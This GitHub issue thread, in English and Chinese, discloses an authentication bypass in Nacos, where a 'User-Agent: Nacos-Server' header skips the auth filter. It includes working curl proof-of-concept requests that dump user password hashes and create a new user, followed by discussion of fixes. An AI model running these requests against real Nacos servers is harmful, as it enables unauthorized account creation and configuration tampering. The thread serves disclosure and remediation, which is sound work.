Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Report a security vulnerability in nacos to bypass authentication #4593

Open
threedr3am opened this issue Dec 29, 2020 · 26 comments
Open

Report a security vulnerability in nacos to bypass authentication #4593

threedr3am opened this issue Dec 29, 2020 · 26 comments

Comments

@threedr3am
Copy link

@threedr3am threedr3am commented Dec 29, 2020

------------------------------------ english

Hello, my name is threedr3am. I found a security loophole in nacos authentication bypass. After nacos turns on authentication, you can still bypass authentication and access any http interface.

By default, nacos needs to modify the application.properties configuration file or add the JVM startup variable -Dnacos.core.auth.enabled=true to enable the authentication function (reference: https://nacos.io/en-us/docs/auth.html)

But after turning on the authentication, I found that in the code, the authentication can still be bypassed under certain circumstances and any interface can be called. Through this vulnerability, I can bypass the authentication and do:

Call the add user interface, add a new user (POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test), and then use the newly added user to log in to the console to access, modify, and add data.

1. Vulnerability details

The main sources of vulnerabilities are:

com.alibaba.nacos.core.auth.AuthFilter#doFilter

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
        throws IOException, ServletException {
    
    if (!authConfigs.isAuthEnabled()) {
        chain.doFilter(request, response);
        return;
    }
    
    HttpServletRequest req = (HttpServletRequest) request;
    HttpServletResponse resp = (HttpServletResponse) response;
    
    String userAgent = WebUtils.getUserAgent(req);
    
    if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
        chain.doFilter(request, response);
        return;
    }
    
    ...
}

As you can see, there is an if judgment statement here. It judges that userAgent (http header-UserAgent) starts with the Constants.NACOS_SERVER_HEADER string (Nacos-Server) and skips any subsequent authentication.

According to my guess, the code here should be used to call nacos' http interface for some services in the intranet without authentication, but when I checked the official document, there was no explanation about this, and I checked the authentication When the authorization-related documents (https://nacos.io/en-us/docs/auth.html), it only describes how to enable authentication and the consequences of not enabling authentication.

But because of this, the user will think that through the configuration described in the authentication document, the nacos can be used safely after the authentication is configured, but because the UserAgent here is bypassed, the authentication is useless.

This is the importance of secure by default.

2. the scope of the vulnerability

Scope of influence:

  1. 2.0.0-ALPHA.1
  2. 1.x.x

3. Vulnerability recurrence

  1. Access user list interface
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent: Nacos-Server'

As you can see, the authentication is bypassed and the user list data is returned

{
    "totalCount": 1,
    "pageNumber": 1,
    "pagesAvailable": 1,
    "pageItems": [
        {
            "username": "nacos",
            "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        }
    ]
}
  1. Add new user
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test' -H 'User-Agent: Nacos-Server'

As you can see, authentication has been bypassed and new users have been added

{
    "code":200,
    "message":"create user ok!",
    "data":null
}
  1. View the user list again
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent: Nacos-Server'

As you can see, in the returned user list data, there is one more user we created by bypassing authentication.

{
    "totalCount": 2,
    "pageNumber": 1,
    "pagesAvailable": 1,
    "pageItems": [
        {
            "username": "nacos",
            "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        },
        {
            "username": "test",
            "password": "$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
        }
    ]
}
  1. Visit the homepage http://127.0.0.1:8848/nacos/, log in to the new account, and you can do anything

4. repair suggestions

  1. By default, if authentication is enabled, the default UserAgent: Nacos-Server request should not be allowed to bypass authentication
  2. The description of the relevant UserAgent: Nacos-Server request to bypass authentication should be added to the document

------------------------------------ 中文

你好,我是threedr3am,我发现了一个nacos的认证绕过安全漏洞,在nacos开启了鉴权后,依然能绕过鉴权访问任何http接口。

在默认情况下,nacos需要通过修改application.properties配置文件或添加JVM启动变量-Dnacos.core.auth.enabled=true即可开启鉴权功能 (参考:https://nacos.io/en-us/docs/auth.html)

但在开启鉴权后,我发现代码中,任然可以在某种情况下绕过认证,调用任何接口,通过该漏洞,我可以绕过鉴权,做到:

调用添加用户接口,添加新用户(POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test),然后使用新添加的用户登录console,访问、修改、添加数据。

一、漏洞详情

漏洞主要根源在于:

com.alibaba.nacos.core.auth.AuthFilter#doFilter

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
        throws IOException, ServletException {
    
    if (!authConfigs.isAuthEnabled()) {
        chain.doFilter(request, response);
        return;
    }
    
    HttpServletRequest req = (HttpServletRequest) request;
    HttpServletResponse resp = (HttpServletResponse) response;
    
    String userAgent = WebUtils.getUserAgent(req);
    
    if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
        chain.doFilter(request, response);
        return;
    }
    
    ...
}

可以看到,此处有一个if判断语句,它判断了userAgent(http header - UserAgent)只要是以Constants.NACOS_SERVER_HEADER字符串(Nacos-Server)开头,则跳过后续的任何鉴权

据我猜测,该处代码应该是为了给内网中某些服务无需鉴权地调用nacos的http接口,但我在查看官方文档时,无任何一处对此作了说明,并且我通过查看鉴权相关文档时(https://nacos.io/en-us/docs/auth.html),它只描述了如何开启鉴权,以及不开启鉴权的后果。

但正是如此,使用者会认为,通过该鉴权文档描述的配置,配置鉴权之后就能安全使用nacos,结果却因为此处的UserAgent绕过,鉴权形同虚设。

这正是secure by default的重要性。进一步说,这可以说是一个后门了。

二、漏洞影响范围

影响范围:

  1. 2.0.0-ALPHA.1
  2. 1.x.x

三、漏洞复现

  1. 访问用户列表接口
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent: Nacos-Server'

可以看到,绕过了鉴权,返回了用户列表数据

{
    "totalCount": 1,
    "pageNumber": 1,
    "pagesAvailable": 1,
    "pageItems": [
        {
            "username": "nacos",
            "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        }
    ]
}
  1. 添加新用户
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test' -H 'User-Agent: Nacos-Server'

可以看到,绕过了鉴权,添加了新用户

{
    "code":200,
    "message":"create user ok!",
    "data":null
}
  1. 再次查看用户列表
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent: Nacos-Server'

可以看到,返回的用户列表数据中,多了一个我们通过绕过鉴权创建的新用户

{
    "totalCount": 2,
    "pageNumber": 1,
    "pagesAvailable": 1,
    "pageItems": [
        {
            "username": "nacos",
            "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        },
        {
            "username": "test",
            "password": "$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
        }
    ]
}
  1. 访问首页http://127.0.0.1:8848/nacos/,登录新账号,可以做任何事情

四、修复建议

  1. 默认情况下,如果开启了鉴权,应该不允许默认 UserAgent: Nacos-Server 请求可以绕过鉴权
  2. 文档中应该加入相关 UserAgent: Nacos-Server 请求绕过鉴权的描述

regards,
threedr3am

@KomachiSion
Copy link
Collaborator

@KomachiSion KomachiSion commented Dec 30, 2020

该agent用于服务间通信鉴权白名单, 既然是白名单模式,就必然是忽略鉴权。 由于是服务端之间使用,就是不推荐用户直接使用,因此不会在文档进行描述。

你这个问题就像nacos的默认管理员密码是nacos一样,因此你的修复建议无法采纳。

当然如果有更好的,不影响性能且不影响服务端间通信的修复方案,欢迎提出。

@threedr3am
Copy link
Author

@threedr3am threedr3am commented Dec 30, 2020

这个忽略鉴权,最大的问题是,没有在文档说明,对于大部分使用者来说,根本不知道会存在这样的一个机制(不看源码都不知道),虽说不推荐用户使用,但是这个机制默认就已经存在,等于是在用户毫不知情的情况下使用了,用户都不知道,何谈推荐不推荐呢。

我认为这个问题和nacos的默认密码是不一样的,用户在看到鉴权相关文档后,他自知自己开启了认证鉴权模式,那么,很大概率就知道需要修改账号密码(难道不是吗,账号密码我都不知道,我开启鉴权如何登陆控制台)。

我的修复建议是:

  1. 默认关闭该机制,需要人工开启
  2. 文档增加该方面的说明,并且建议“对于非服务间的通讯,过滤掉UserAgent Http header”
@KomachiSion
Copy link
Collaborator

@KomachiSion KomachiSion commented Dec 31, 2020

对于如何判断非服务间的通讯 有方法吗? 如果能够判断服务间通信, 那我们也不用搞UserAgent了

@KomachiSion
Copy link
Collaborator

@KomachiSion KomachiSion commented Dec 31, 2020

这个忽略鉴权,最大的问题是,没有在文档说明,对于大部分使用者来说,根本不知道会存在这样的一个机制(不看源码都不知道),虽说不推荐用户使用,但是这个机制默认就已经存在,等于是在用户毫不知情的情况下使用了,用户都不知道,何谈推荐不推荐呢。

我认为这个问题和nacos的默认密码是不一样的,用户在看到鉴权相关文档后,他自知自己开启了认证鉴权模式,那么,很大概率就知道需要修改账号密码(难道不是吗,账号密码我都不知道,我开启鉴权如何登陆控制台)。

我的修复建议是:

  1. 默认关闭该机制,需要人工开启
  2. 文档增加该方面的说明,并且建议“对于非服务间的通讯,过滤掉UserAgent Http header”

本来就不是给用户用的而是自己内部使用的机制,在使用文档上说明不妥。用户不知道才是正确的。

@KomachiSion
Copy link
Collaborator

@KomachiSion KomachiSion commented Dec 31, 2020

欢迎社区提供方案:
方案如果能解决这个问题,并且满足下列条件

  1. 不能影响服务端之间通信
  2. 不能有太大的性能损耗
  3. 低版本能够平滑过渡

社区非常愿意接受。

@KomachiSion
Copy link
Collaborator

@KomachiSion KomachiSion commented Dec 31, 2020

我想到一个方法,即能勉强解决问题,又不影响现有机制。

当前这个识别是通过User-Agent 是Nacos-Server来判断,比较固定。如果修改成key和value都由用户配置是不是就好了。默认还是User-Agent 是Nacos-Server。 如果有用户非要放外网环境,就让他自己设置这个内容。 key value都是他自己设置的。只有设置的人和正确设置的服务端能跳过鉴权。这样对内网环境用户升级就没有影响。继续用默认即可。

@threedr3am
Copy link
Author

@threedr3am threedr3am commented Dec 31, 2020

你的解决方式类似Http Basic Authentication,确实可行。建议当设置了用户自定义的key value后,默认的失效,而用户不自定义的话,就使用默认的User-Agent: Nacos-Server

还有,其实我觉得最重要的是让用户(指的是使用nacos的开发维护人员)知道有这个机制。

@KomachiSion
Copy link
Collaborator

@KomachiSion KomachiSion commented Jan 4, 2021

你的解决方式类似Http Basic Authentication,确实可行。建议当设置了用户自定义的key value后,默认的失效,而用户不自定义的话,就使用默认的User-Agent: Nacos-Server

还有,其实我觉得最重要的是让用户(指的是使用nacos的开发维护人员)知道有这个机制。

如果采用这种方式, 这个kv对的数量需要讨论下, 是只允许有一对,还是可以有多种。

目前想法是只有一对,User-Agent: Nacos-Server只是一个缺醒值,用户设置的话就覆盖掉了。

@threedr3am
Copy link
Author

@threedr3am threedr3am commented Jan 4, 2021

你的解决方式类似Http Basic Authentication,确实可行。建议当设置了用户自定义的key value后,默认的失效,而用户不自定义的话,就使用默认的User-Agent: Nacos-Server
还有,其实我觉得最重要的是让用户(指的是使用nacos的开发维护人员)知道有这个机制。

如果采用这种方式, 这个kv对的数量需要讨论下, 是只允许有一对,还是可以有多种。

目前想法是只有一对,User-Agent: Nacos-Server只是一个缺醒值,用户设置的话就覆盖掉了。

我认为一对可行,若是多对kv的话,说不定可以给企业用户带来更好的自定义扩展

@w2n1ck
Copy link

@w2n1ck w2n1ck commented Jan 11, 2021

后台应该还有类似的问题的其他接口,比如:
image
image

@ldbfpiaoran
Copy link

@ldbfpiaoran ldbfpiaoran commented Jan 11, 2021

后台应该还有类似的问题的其他接口,比如:
image
image

尴尬不~~~~~~~~~~

@coffeehb
Copy link

@coffeehb coffeehb commented Jan 11, 2021

image
NACOS1.1.4 fu x复现失败

@threedr3am
Copy link
Author

@threedr3am threedr3am commented Jan 11, 2021

image
NACOS1.1.4 fu x复现失败

鉴权功能应该是1.2.0才开始存在的,https://github.com/alibaba/nacos/releases/tag/1.2.0https://github.com/alibaba/nacos/issues/1105

@coffeehb
Copy link

@coffeehb coffeehb commented Jan 11, 2021

已经被RCE了,说不是漏洞?

@threedr3am
Copy link
Author

@threedr3am threedr3am commented Jan 11, 2021

好像这个问题影响还是挺大的,希望早点修复,因为动态配置的修改可能会导致其它的关联服务被入侵,比如spring application.properties里面的jdbc连接被改成恶意地址(h2)等等,会导致关联服务被执行恶意代码

kmahyyg added a commit to kmahyyg/xray that referenced this issue Jan 11, 2021
@aqqwiyth
Copy link

@aqqwiyth aqqwiyth commented Jan 12, 2021

公网搜了一下 90+开了公网. RCE+DB密码.... 直接脱库

@KomachiSion
Copy link
Collaborator

@KomachiSion KomachiSion commented Jan 13, 2021

#4683 临时处理了一下。
考虑到用户升级,默认开关是打开的,升级完成并设置统一key value后关闭开关后即可。

后续版本再想方案彻底移除吧

@luvletter2333
Copy link

@luvletter2333 luvletter2333 commented Jan 13, 2021

欢迎社区提供方案:
方案如果能解决这个问题,并且满足下列条件

  1. 不能影响服务端之间通信
  2. 不能有太大的性能损耗
  3. 低版本能够平滑过渡

社区非常愿意接受。

ip白名单机制?

@lexburner
Copy link
Contributor

@lexburner lexburner commented Jan 14, 2021

这种安全话题不适合公开讨论吧,nacos 没有 security 的 mailing list 吗?

@snaigle
Copy link

@snaigle snaigle commented Jan 14, 2021

ua 可以搭配ip白名单来使用,默认不配置ip白名单
只有用户明确配置IP白名单的话ua才会生效,比kv 认证要好一些

@haoel
Copy link

@haoel haoel commented Jan 14, 2021

该agent用于服务间通信鉴权白名单, 既然是白名单模式,就必然是忽略鉴权。 由于是服务端之间使用,就是不推荐用户直接使用,因此不会在文档进行描述。

你这个问题就像nacos的默认管理员密码是nacos一样,因此你的修复建议无法采纳。

当然如果有更好的,不影响性能且不影响服务端间通信的修复方案,欢迎提出。

回复所谓的“有没有更好的”这个问题

如果是要认证内部服务,有空可以读一下《HTTP API 认证术
里面的HTTP Basic, OAuth/2的 Client Credential Flow可供借鉴。
这里的重点是——不要hard code,做成可配置的。

如果用白名单的话,那就应该直接用白名单的方式,
为什么要用User-Agent 这种Hack和“架飞线”方式?!
反问一下,对于白名单功能,你们能想到最好的方式就是用User-Agent ?

@vickerx
Copy link

@vickerx vickerx commented Jan 14, 2021

楼上说了很多,但是都没理解到nacos的意图,我做个分析。
分析了下Post的漏洞的代码,这块应该是做了两件事:

  1. 对于访问nacos管理后台的请求进行拦截(以下简称:管理)
  2. 对于微服务向nacos注册服务、心跳监控以及配置的请求不进行拦截(以下简称:服务)

对于微服务群来讲,所有微服务都是可信赖的,所以不需要认证,这个可以理解;而对于管理nacos来讲,管理端口通常会被暴露出来,所以需要认证的,这个也可以理解 ;造成这个漏洞的主要原因是将两者融合在一起。
解决的办法也是显而易见的:把这两个相关性不大的功能拆开
方案一:将管理和服务功能用不同的上下文来分离,可以参考actuator管理的实现方式
方案二:将管理和服务功能在路径上进行分离,管理路径要认证,服务路径不认证,文档上说明,暴露到公网时指定管理路径
如果我的理解有误,请帮忙指正 @KomachiSion

@shenzhe
Copy link

@shenzhe shenzhe commented Jan 14, 2021

该agent用于服务间通信鉴权白名单, 既然是白名单模式,就必然是忽略鉴权。 由于是服务端之间使用,就是不推荐用户直接使用,因此不会在文档进行描述。
你这个问题就像nacos的默认管理员密码是nacos一样,因此你的修复建议无法采纳。
当然如果有更好的,不影响性能且不影响服务端间通信的修复方案,欢迎提出。

回得所谓的“有没有更好的”这个问题

如果是要认证内部服务,有空可以读一下《HTTP API 认证术
里面的HTTP Basic, OAuth/2的 Client Credential Flow可供借鉴。
这里的重点是——不要hard code,做成可配置的。

如果用白名单的话,那就应该直接用白名单的方式,
为什么要用User-Agent 这种Hack和“架飞线”方式?!
反问一下,对于白名单功能,你们能想到最好的方式就是用User-Agent ?

感觉这属于基本功不扎实啊。这种低级的设计都有?

@yanlinly
Copy link
Collaborator

@yanlinly yanlinly commented Jan 14, 2021

感谢你反馈这个问题,我们这周会发布一个新的版本去解决这个问题。

再次我也谈一下我对这块的看法
1、Nacos是一个IDC内部的组件,不是暴露到公网上面的产品。大家不要把内部组件暴露到公网。
2、Nacos开源侧提供了简单的安全抽象和实现,核心初衷是防止业务错用影响别人,不是防止恶意攻击,我相信只要进入IDC,知道你产品信息,都比较容易去攻击。
3、安全设计属于Nacos功能的外围功能,后面我们会做好抽象扩展出去,按照每个公司自己的安全体系去扩展实现,简单的实现仅供参考。欢迎社区安全高手贡献这部分实现代码。

@HaojunRen
Copy link

@HaojunRen HaojunRen commented Jan 14, 2021

我也来发表一下个人观点,仅供参考:

  1. 从注册中心层面,例如,Eureka连注册中心都没有,很多公司也依旧在使用Eureka,并没有暴露出安全问题。如果黑客真的要攻击Eureka,那他获得的数据没多大的价值
  2. 从配置中心层面,黑客攻击也许会有点点价值,但一般注重安全意识的公司,会加密脱敏一些重要的敏感数据,我个人认为加密算法应该是使用方自己去实现,不能是Nacos把算法通过开源方式提供
  3. 落地Nacos还是需要使用者在安全机制上进一步自己增强,当然Nacos方法提供很优秀的安全解决方案则更好

上述观点仅供参考

@threedr3am
Copy link
Author

@threedr3am threedr3am commented Jan 14, 2021

我也来发表一下个人观点,仅供参考:

  1. 从注册中心层面,例如,Eureka连注册中心都没有,很多公司也依旧在使用Eureka,并没有暴露出安全问题。如果黑客真的要攻击Eureka,那他获得的数据没多大的价值
  2. 从配置中心层面,黑客攻击也许会有点点价值,但一般注重安全意识的公司,会加密脱敏一些重要的敏感数据,我个人认为加密算法应该是使用方自己去实现,不能是Nacos把算法通过开源方式提供
  3. 落地Nacos还是需要使用者在安全机制上进一步自己增强,当然Nacos方法提供很优秀的安全解决方案则更好

上述观点仅供参考

关于第2点,请参考 alibaba/spring-cloud-alibaba#1910 这个spring-cloud-alibaba的一个安全report

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Linked pull requests

Successfully merging a pull request may close this issue.

None yet
You can’t perform that action at this time.